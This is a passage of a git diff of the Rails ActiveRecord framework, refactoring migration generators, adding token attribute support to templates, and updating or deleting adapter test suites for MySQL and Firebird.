+          if reflection = record.class._reflect_on_association(scope_item)
             scope_value = record.send(reflection.foreign_key)
             scope_item  = reflection.foreign_key
           else
-            scope_value = record.read_attribute(scope_item)
+            scope_value = record._read_attribute(scope_item)
           end
-          relation = relation.and(table[scope_item].eq(scope_value))
+          relation = relation.where(scope_item => scope_value)
         end
 
         relation
       end
 
-      def deserialize_attribute(record, attribute, value)
-        coder = record.class.serialized_attributes[attribute.to_s]
-        value = coder.dump value if value && coder
+      def map_enum_attribute(klass, attribute, value)
+        mapping = klass.defined_enums[attribute.to_s]
+        value = mapping[value] if value && mapping
         value
       end
     end
@@ -143,7 +157,7 @@ module ActiveRecord
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
       #   proc or string should return or evaluate to a +true+ or +false+ value.
       # * <tt>:unless</tt> - Specifies a method, proc or string to call to
-      #   determine if the validation should ot occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
       #   method, proc or string should return or evaluate to a +true+ or +false+
       #   value.
@@ -166,11 +180,11 @@ module ActiveRecord
       #  WHERE title = 'My Post'             |
       #                                      |
       #                                      | # User 2 does the same thing and also
-      #                                      | # infers that his title is unique.
+      #                                      | # infers that their title is unique.
       #                                      | SELECT * FROM comments
       #                                      | WHERE title = 'My Post'
       #                                      |
-      #  # User 1 inserts his comment.       |
+      #  # User 1 inserts their comment.     |
       #  INSERT INTO comments                |
       #  (title, content) VALUES             |
       #  ('My Post', 'hi!')                  |
@@ -196,7 +210,7 @@ module ActiveRecord
       # exception. You can either choose to let this error propagate (which
       # will result in the default Rails exception page being shown), or you
       # can catch it and restart the transaction (e.g. by telling the user
-      # that the title already exists, and asking him to re-enter the title).
+      # that the title already exists, and asking them to re-enter the title).
       # This technique is also known as
       # {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
       #
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index de5fd05468..cf76a13b44 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveRecord
-  # Returns the version of the currently loaded ActiveRecord as a Gem::Version
+  # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveRecord.version.segments
-    STRING = ActiveRecord.version.to_s
+    gem_version
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index c8aa37f275..dc29213235 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,23 +1,17 @@
 require 'rails/generators/named_base'
-require 'rails/generators/migration'
 require 'rails/generators/active_model'
+require 'rails/generators/active_record/migration'
 require 'active_record'
 
 module ActiveRecord
   module Generators # :nodoc:
     class Base < Rails::Generators::NamedBase # :nodoc:
-      include Rails::Generators::Migration
+      include ActiveRecord::Generators::Migration
 
       # Set the current directory as base for the inherited generators.
       def self.base_root
         File.dirname(__FILE__)
       end
-
-      # Implement the required interface for Rails::Generators::Migration.
-      def self.next_migration_number(dirname)
-        next_migration_number = current_migration_number(dirname) + 1
-        ActiveRecord::Migration.next_migration_number(next_migration_number)
-      end
     end
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
new file mode 100644
index 0000000000..b7418cf42f
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -0,0 +1,18 @@
+require 'rails/generators/migration'
+
+module ActiveRecord
+  module Generators # :nodoc:
+    module Migration
+      extend ActiveSupport::Concern
+      include Rails::Generators::Migration
+
+      module ClassMethods
+        # Implement the required interface for Rails::Generators::Migration.
+        def next_migration_number(dirname)
+          next_migration_number = current_migration_number(dirname) + 1
+          ActiveRecord::Migration.next_migration_number(next_migration_number)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index 3968acba64..7a3c6f5e95 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -23,16 +23,16 @@ module ActiveRecord
         case file_name
         when /^(add|remove)_.*_(?:to|from)_(.*)/
           @migration_action = $1
-          @table_name       = $2.pluralize
+          @table_name       = normalize_table_name($2)
         when /join_table/
           if attributes.length == 2
             @migration_action = 'join'
-            @join_tables      = attributes.map(&:plural_name)
+            @join_tables      = pluralize_table_names? ? attributes.map(&:plural_name) : attributes.map(&:singular_name)
 
             set_index_names
           end
         when /^create_(.+)/
-          @table_name = $1.pluralize
+          @table_name = normalize_table_name($1)
           @migration_template = "create_table_migration.rb"
         end
       end
@@ -55,12 +55,16 @@ module ActiveRecord
         def attributes_with_index
           attributes.select { |a| !a.reference? && a.has_index? }
         end
-        
+
         def validate_file_name!
           unless file_name =~ /^[_a-z0-9]+$/
             raise IllegalMigrationNameError.new(file_name)
           end
         end
+
+        def normalize_table_name(_table_name)
+          pluralize_table_names? ? _table_name.pluralize : _table_name.singularize
+        end
     end
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
index fd94a2d038..5b3e57dcf6 100644
--- a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
@@ -4,6 +4,8 @@ class <%= migration_class_name %> < ActiveRecord::Migration
 <% attributes.each do |attribute| -%>
 <% if attribute.password_digest? -%>
       t.string :password_digest<%= attribute.inject_options %>
+<% elsif attribute.token? -%>
+      t.string :<%= attribute.name %><%= attribute.inject_options %>
 <% else -%>
       t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
 <% end -%>
@@ -12,6 +14,9 @@ class <%= migration_class_name %> < ActiveRecord::Migration
       t.timestamps
 <% end -%>
     end
+<% attributes.select(&:token?).each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
+<% end -%>
 <% attributes_with_index.each do |attribute| -%>
     add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
 <% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
index ae9c74fd05..23a377db6a 100644
--- a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
@@ -4,6 +4,9 @@ class <%= migration_class_name %> < ActiveRecord::Migration
 <% attributes.each do |attribute| -%>
   <%- if attribute.reference? -%>
     add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+  <%- elsif attribute.token? -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :string<%= attribute.inject_options %>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
   <%- else -%>
     add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
     <%- if attribute.has_index? -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
index 808598699b..55dc65c8ad 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/model.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -1,7 +1,10 @@
 <% module_namespacing do -%>
 class <%= class_name %> < <%= parent_class_name.classify %>
 <% attributes.select(&:reference?).each do |attribute| -%>
-  belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
+  belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %><%= ', required: true' if attribute.required? %>
+<% end -%>
+<% attributes.select(&:token?).each do |attribute| -%>
+  has_secure_token<% if attribute.name != "token" %> :<%= attribute.name %><% end %>
 <% end -%>
 <% if attributes.any?(&:password_digest?) -%>
   has_secure_password
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
index 59324c4857..49a68fb94c 100644
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -22,14 +22,14 @@ module ActiveRecord
       end
 
       def primary_key(table)
-        @primary_keys[table]
+        @primary_keys[table] || "id"
       end
 
       def merge_column(table_name, name, sql_type = nil, options = {})
         @columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
           name.to_s,
           options[:default],
-          sql_type.to_s,
+          fetch_type_metadata(sql_type),
           options[:null])
       end
 
@@ -37,6 +37,10 @@ module ActiveRecord
         @columns[table_name]
       end
 
+      def table_exists?(*)
+        true
+      end
+
       def active?
         true
       end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index dd355e8d0c..ecf1368a91 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,5 +1,7 @@
 require "cases/helper"
 require "models/book"
+require "models/post"
+require "models/author"
 
 module ActiveRecord
   class AdapterTest < ActiveRecord::TestCase
@@ -44,9 +46,7 @@ module ActiveRecord
         @connection.add_index :accounts, :firm_id, :name => idx_name
         indexes = @connection.indexes("accounts")
         assert_equal "accounts", indexes.first.table
-        # OpenBase does not have the concept of a named index
-        # Indexes are merely properties of columns.
-        assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+        assert_equal idx_name, indexes.first.name
         assert !indexes.first.unique
         assert_equal ["firm_id"], indexes.first.columns
       else
@@ -92,7 +92,7 @@ module ActiveRecord
             )
           end
         ensure
-          ActiveRecord::Base.establish_connection 'arunit'
+          ActiveRecord::Base.establish_connection :arunit
         end
       end
     end
@@ -125,14 +125,12 @@ module ActiveRecord
         assert_equal 1, Movie.create(:name => 'fight club').id
       end
 
-      if ActiveRecord::Base.connection.adapter_name != "FrontBase"
-        def test_reset_table_with_non_integer_pk
-          Subscriber.delete_all
-          Subscriber.connection.reset_pk_sequence! 'subscribers'
-          sub = Subscriber.new(:name => 'robert drake')
-          sub.id = 'bob drake'
-          assert_nothing_raised { sub.save! }
-        end
+      def test_reset_table_with_non_integer_pk
+        Subscriber.delete_all
+        Subscriber.connection.reset_pk_sequence! 'subscribers'
+        sub = Subscriber.new(:name => 'robert drake')
+        sub.id = 'bob drake'
+        assert_nothing_raised { sub.save! }
       end
     end
 
@@ -143,8 +141,8 @@ module ActiveRecord
       end
     end
 
-    def test_foreign_key_violations_are_translated_to_specific_exception
-      unless @connection.adapter_name == 'SQLite'
+    unless current_adapter?(:SQLite3Adapter)
+      def test_foreign_key_violations_are_translated_to_specific_exception
         assert_raises(ActiveRecord::InvalidForeignKey) do
           # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
           if @connection.prefetch_primary_key?
@@ -155,6 +153,18 @@ module ActiveRecord
           end
         end
       end
+
+      def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false
+        klass_has_fk = Class.new(ActiveRecord::Base) do
+          self.table_name = 'fk_test_has_fk'
+        end
+
+        assert_raises(ActiveRecord::InvalidForeignKey) do
+          has_fk = klass_has_fk.new
+          has_fk.fk_id = 1231231231
+          has_fk.save(validate: false)
+        end
+      end
     end
 
     def test_disable_referential_integrity
@@ -178,6 +188,41 @@ module ActiveRecord
       result = @connection.select_all "SELECT * FROM posts"
       assert result.is_a?(ActiveRecord::Result)
     end
+
+    def test_select_methods_passing_a_association_relation
+      author = Author.create!(name: 'john')
+      Post.create!(author: author, title: 'foo', body: 'bar')
+      query = author.posts.where(title: 'foo').select(:title)
+      assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bound_attributes))
+      assert_equal({"title" => "foo"}, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    def test_select_methods_passing_a_relation
+      Post.create!(title: 'foo', body: 'bar')
+      query = Post.where(title: 'foo').select(:title)
+      assert_equal({"title" => "foo"}, @connection.select_one(query.arel, nil, query.bound_attributes))
+      assert_equal({"title" => "foo"}, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    test "type_to_sql returns a String for unmapped types" do
+      assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+    end
+
+    unless current_adapter?(:PostgreSQLAdapter)
+      def test_log_invalid_encoding
+        assert_raise ActiveRecord::StatementInvalid do
+          @connection.send :log, "SELECT 'ы' FROM DUAL" do
+            raise 'ы'.force_encoding(Encoding::ASCII_8BIT)
+          end
+        end
+      end
+    end
   end
 
   class AdapterTestWithoutTransaction < ActiveRecord::TestCase
@@ -187,30 +232,28 @@ module ActiveRecord
     end
 
     def setup
-      Klass.establish_connection 'arunit'
+      Klass.establish_connection :arunit
       @connection = Klass.connection
     end
 
-    def teardown
+    teardown do
       Klass.remove_connection
     end
 
-    test "transaction state is reset after a reconnect" do
-      skip "in-memory db doesn't allow reconnect" if in_memory_db?
-
-      @connection.begin_transaction
-      assert @connection.transaction_open?
-      @connection.reconnect!
-      assert !@connection.transaction_open?
-    end
-
-    test "transaction state is reset after a disconnect" do
-      skip "in-memory db doesn't allow disconnect" if in_memory_db?
+    unless in_memory_db?
+      test "transaction state is reset after a reconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.reconnect!
+        assert !@connection.transaction_open?
+      end
 
-      @connection.begin_transaction
-      assert @connection.transaction_open?
-      @connection.disconnect!
-      assert !@connection.transaction_open?
+      test "transaction state is reset after a disconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.disconnect!
+        assert !@connection.transaction_open?
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/firebird/connection_test.rb b/activerecord/test/cases/adapters/firebird/connection_test.rb
deleted file mode 100644
index f57ea686a5..0000000000
--- a/activerecord/test/cases/adapters/firebird/connection_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-
-class FirebirdConnectionTest < ActiveRecord::TestCase
-  def test_charset_properly_set
-    fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
-    assert_equal 'UTF8', fb_conn.database.character_set
-  end
-end
diff --git a/activerecord/test/cases/adapters/firebird/default_test.rb b/activerecord/test/cases/adapters/firebird/default_test.rb
deleted file mode 100644
index 713c7e11bf..0000000000
--- a/activerecord/test/cases/adapters/firebird/default_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/default'
-
-class DefaultTest < ActiveRecord::TestCase
-  def test_default_timestamp
-    default = Default.new
-    assert_instance_of(Time, default.default_timestamp)
-    assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
-
-    # Variance should be small; increase if required -- e.g., if test db is on
-    # remote host and clocks aren't synchronized.
-    t1 = Time.new
-    accepted_variance = 1.0
-    assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
-  end
-end
diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb
deleted file mode 100644
index 5c94593765..0000000000
--- a/activerecord/test/cases/adapters/firebird/migration_test.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "cases/helper"
-require 'models/course'
-
-class FirebirdMigrationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
-    @connection = Course.connection
-    @fireruby_connection = @connection.instance_variable_get(:@connection)
-  end
-
-  def teardown
-    @connection.drop_table :foo rescue nil
-    @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
-  end
-
-  def test_create_table_with_custom_sequence_name
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert sequence_exists?('foo_custom_seq')
-
-    assert_nothing_raised { @connection.drop_table(:foo) }
-    assert !sequence_exists?('foo_custom_seq')
-  ensure
-    FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
-  end
-
-  def test_create_table_without_sequence
-    assert_nothing_raised do
-      @connection.create_table(:foo, :sequence => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-
-    assert_nothing_raised do
-      @connection.create_table(:foo, :id => false) do |f|
-        f.column :bar, :string
-      end
-    end
-    assert !sequence_exists?('foo_seq')
-    assert_nothing_raised { @connection.drop_table :foo }
-  end
-
-  def test_create_table_with_boolean_column
-    assert !boolean_domain_exists?
-    assert_nothing_raised do
-      @connection.create_table :foo do |f|
-        f.column :bar, :string
-        f.column :baz, :boolean
-      end
-    end
-    assert boolean_domain_exists?
-  end
-
-  def test_add_boolean_column
-    assert !boolean_domain_exists?
-    @connection.create_table :foo do |f|
-      f.column :bar, :string
-    end
-
-    assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
-  end
-
-  def test_change_column_to_boolean
-    assert !boolean_domain_exists?
-    # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
-    @connection.execute "CREATE TABLE foo (bar SMALLINT)"
-    assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-
-    assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
-    assert boolean_domain_exists?
-    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
-  end
-
-  def test_rename_table_with_data_and_index
-    @connection.create_table :foo do |f|
-      f.column :baz, :string, :limit => 50
-    end
-    100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
-    @connection.add_index :foo, :baz
-
-    assert_nothing_raised { @connection.rename_table :foo, :bar }
-    assert !@connection.tables.include?("foo")
-    assert @connection.tables.include?("bar")
-    assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
-    assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
-    assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
-  ensure
-    @connection.drop_table :bar rescue nil
-  end
-
-  def test_renaming_table_with_fk_constraint_raises_error
-    @connection.create_table :parent do |p|
-      p.column :name, :string
-    end
-    @connection.create_table :child do |c|
-      c.column :parent_id, :integer
-    end
-    @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
-    assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
-  ensure
-    @connection.drop_table :child rescue nil
-    @connection.drop_table :descendant rescue nil
-    @connection.drop_table :parent rescue nil
-  end
-
-  private
-    def boolean_domain_exists?
-      !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
-    end
-
-    def sequence_exists?(sequence_name)
-      FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
index 0878925a6c..6577d56240 100644
--- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
@@ -1,23 +1,23 @@
 require "cases/helper"
+require 'support/connection_helper'
 
 class ActiveSchemaTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.remove_connection
-    ActiveRecord::Base.establish_connection(@connection)
+  include ConnectionHelper
 
+  def setup
     ActiveRecord::Base.connection.singleton_class.class_eval do
       alias_method :execute_without_stub, :execute
       def execute(sql, name = nil) return sql end
     end
   end
 
-  def teardown
-    ActiveRecord::Base.remove_connection
-    ActiveRecord::Base.establish_connection(@connection)
+  teardown do
+    reset_connection
   end
 
   def test_add_index
-    # add_index calls index_name_exists? which can't work since execute is stubbed
+    # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+    def (ActiveRecord::Base.connection).table_exists?(*); true; end
     def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
 
     expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
@@ -92,7 +92,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     with_real_execute do
       begin
         ActiveRecord::Base.connection.create_table :delete_me
-        ActiveRecord::Base.connection.add_timestamps :delete_me
+        ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
         assert column_present?('delete_me', 'updated_at', 'datetime')
         assert column_present?('delete_me', 'created_at', 'datetime')
       ensure
@@ -105,9 +105,9 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     with_real_execute do
       begin
         ActiveRecord::Base.connection.create_table :delete_me do |t|
-          t.timestamps
+          t.timestamps null: true
         end
-        ActiveRecord::Base.connection.remove_timestamps :delete_me
+        ActiveRecord::Base.connection.remove_timestamps :delete_me, { null: true }
         assert !column_present?('delete_me', 'updated_at', 'datetime')
         assert !column_present?('delete_me', 'created_at', 'datetime')
       ensure
@@ -116,6 +116,18 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     end
   end
 
+  def test_indexes_in_create
+    ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+    ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+    expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip`  (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+    actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+      t.index :zip
+    end
+
+    assert_equal expected, actual
+  end
+
   private
     def with_real_execute
       ActiveRecord::Base.connection.singleton_class.class_eval do
diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
index 97adb6b297..340fc95503 100644
--- a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
 
 class MysqlCaseSensitivityTest < ActiveRecord::TestCase
   class CollationTest < ActiveRecord::Base
-    validates_uniqueness_of :string_cs_column, :case_sensitive => false
-    validates_uniqueness_of :string_ci_column, :case_sensitive => false
   end
 
+  repair_validations(CollationTest)
+
   def test_columns_include_collation_different_from_table
     assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
     assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
   end
 
   def test_case_insensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
     CollationTest.create!(:string_ci_column => 'A')
     invalid = CollationTest.new(:string_ci_column => 'a')
     queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
   end
 
   def test_case_insensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
     CollationTest.create!(:string_cs_column => 'A')
     invalid = CollationTest.new(:string_cs_column => 'a')
     queries = assert_sql { invalid.save }
     cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
     assert_match(/lower/i, cs_uniqueness_query)
   end
+
+  def test_case_sensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+    CollationTest.create!(:string_ci_column => 'A')
+    invalid = CollationTest.new(:string_ci_column => 'A')
+    queries = assert_sql { invalid.save }
+    ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+    assert_match(/binary/i, ci_uniqueness_query)
+  end
+
+  def test_case_sensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+    CollationTest.create!(:string_cs_column => 'A')
+    invalid = CollationTest.new(:string_cs_column => 'A')
+    queries = assert_sql { invalid.save }
+    cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+    assert_no_match(/binary/i, cs_uniqueness_query)
+  end
 end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index 1844a2e0dc..4762ef43b5 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -1,6 +1,11 @@
 require "cases/helper"
+require 'support/connection_helper'
+require 'support/ddl_helper'
 
 class MysqlConnectionTest < ActiveRecord::TestCase
+  include ConnectionHelper
+  include DdlHelper
+
   class Klass < ActiveRecord::Base
   end
 
@@ -16,15 +21,15 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
-  def test_connect_with_url
-    run_without_connection do
-      ar_config = ARTest.connection_config['arunit']
-
-      skip "This test doesn't work with custom socket location" if ar_config['socket']
+  unless ARTest.connection_config['arunit']['socket']
+    def test_connect_with_url
+      run_without_connection do
+        ar_config = ARTest.connection_config['arunit']
 
-      url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
-      Klass.establish_connection(url)
-      assert_equal ar_config['database'], Klass.connection.current_database
+        url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
+        Klass.establish_connection(url)
+        assert_equal ar_config['database'], Klass.connection.current_database
+      end
     end
   end
 
@@ -40,6 +45,9 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     @connection.update('set @@wait_timeout=1')
     sleep 2
     assert !@connection.active?
+
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connections.each(&:verify!)
   end
 
   def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -59,64 +67,55 @@ class MysqlConnectionTest < ActiveRecord::TestCase
   end
 
   def test_bind_value_substitute
-    bind_param = @connection.substitute_at('foo', 0)
-    assert_equal Arel.sql('?'), bind_param
+    bind_param = @connection.substitute_at('foo')
+    assert_equal Arel.sql('?'), bind_param.to_sql
   end
 
   def test_exec_no_binds
-    @connection.exec_query('drop table if exists ex')
-    @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
-        `data` varchar(255))
-    eosql
-    result = @connection.exec_query('SELECT id, data FROM ex')
-    assert_equal 0, result.rows.length
-    assert_equal 2, result.columns.length
-    assert_equal %w{ id data }, result.columns
+    with_example_table do
+      result = @connection.exec_query('SELECT id, data FROM ex')
+      assert_equal 0, result.rows.length
+      assert_equal 2, result.columns.length
+      assert_equal %w{ id data }, result.columns
 
-    @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+      @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
 
-    # if there are no bind parameters, it will return a string (due to
-    # the libmysql api)
-    result = @connection.exec_query('SELECT id, data FROM ex')
-    assert_equal 1, result.rows.length
-    assert_equal 2, result.columns.length
+      # if there are no bind parameters, it will return a string (due to
+      # the libmysql api)
+      result = @connection.exec_query('SELECT id, data FROM ex')
+      assert_equal 1, result.rows.length
+      assert_equal 2, result.columns.length
 
-    assert_equal [['1', 'foo']], result.rows
+      assert_equal [['1', 'foo']], result.rows
+    end
   end
 
   def test_exec_with_binds
-    @connection.exec_query('drop table if exists ex')
-    @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
-        `data` varchar(255))
-    eosql
-    @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
-    result = @connection.exec_query(
-      'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+    with_example_table do
+      @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+      result = @connection.exec_query(
+        'SELECT id, data FROM ex WHERE id = ?', nil, [ActiveRecord::Relation::QueryAttribute.new("id", 1, ActiveRecord::Type::Value.new)])
 
-    assert_equal 1, result.rows.length
-    assert_equal 2, result.columns.length
+      assert_equal 1, result.rows.length
+      assert_equal 2, result.columns.length
 
-    assert_equal [[1, 'foo']], result.rows
+      assert_equal [[1, 'foo']], result.rows
+    end
   end
 
   def test_exec_typecasts_bind_vals
-    @connection.exec_query('drop table if exists ex')
-    @connection.exec_query(<<-eosql)
-      CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
-        `data` varchar(255))
-    eosql
-    @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
-    column = @connection.columns('ex').find { |col| col.name == 'id' }
+    with_example_table do
+      @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+      bind = ActiveRecord::Relation::QueryAttribute.new("id", "1-fuu", ActiveRecord::Type::Integer.new)
 
-    result = @connection.exec_query(
-      'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+      result = @connection.exec_query(
+        'SELECT id, data FROM ex WHERE id = ?', nil, [bind])
 
